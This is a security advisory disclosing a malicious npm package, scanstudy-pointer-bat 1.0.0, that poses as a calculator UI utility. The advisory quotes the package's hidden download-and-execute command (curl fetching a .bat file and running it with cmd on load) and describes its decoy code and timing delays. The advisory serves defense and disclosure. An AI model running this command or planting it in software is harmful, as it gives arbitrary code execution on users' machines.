# GHSA-JRFQ-G54Q-GMC8: Malicious code in scanstudy-pointer-bat (npm)

- Database: GitHub
- Malicious package: yes
- Published: 2026-11-20
- Modified: 2026-11-20

## Affected versions

- scanstudy-pointer-bat (npm): 1.0.0

## Description

## Source: amazon-inspector (f110b50f6e90e9508c1dfceae3b664a343bea2d5df34e3c3993b1ee874945334)
The package advertises itself as a calculator UI utility but main.js schedules a child_process.exec via setTimeout on require/start that runs `curl -fsSL ${rendererUrl} -o render.bat && cmd /c start /b render.bat`, downloading a file from a configured URL and executing it as render.bat under cmd. The RENDERER_URL key is absent from the shipped config.json, so the current artifact resolves to an empty URL, but the full download-and-execute machinery is present and reachable on load, giving whoever controls that config key arbitrary code execution on the installer's Windows host. main.js also contains an unused Mandelbrot-style CPU-busy routine (`performRoutine`) and wraps the exec in a random 0–5 second delay — decoy and timing patterns around the shell-out that are inconsistent with the stated library purpose.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/374928f6258cf3beac8c6f24cee0a67100be4219/osv/malicious/npm/scanstudy-pointer-bat/MAL-2026-20288.json))

## References

- https://github.com/ossf/malicious-packages/blob/374928f6258cf3beac8c6f24cee0a67100be4219/osv/malicious/npm/scanstudy-pointer-bat/MAL-2026-20288.json
- https://www.npmjs.com/package/scanstudy-pointer-bat/v/1.0.0
- https://github.com/advisories/GHSA-jrfq-g54q-gmc8

Page: https://cve.now/GHSA-JRFQ-G54Q-GMC8

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
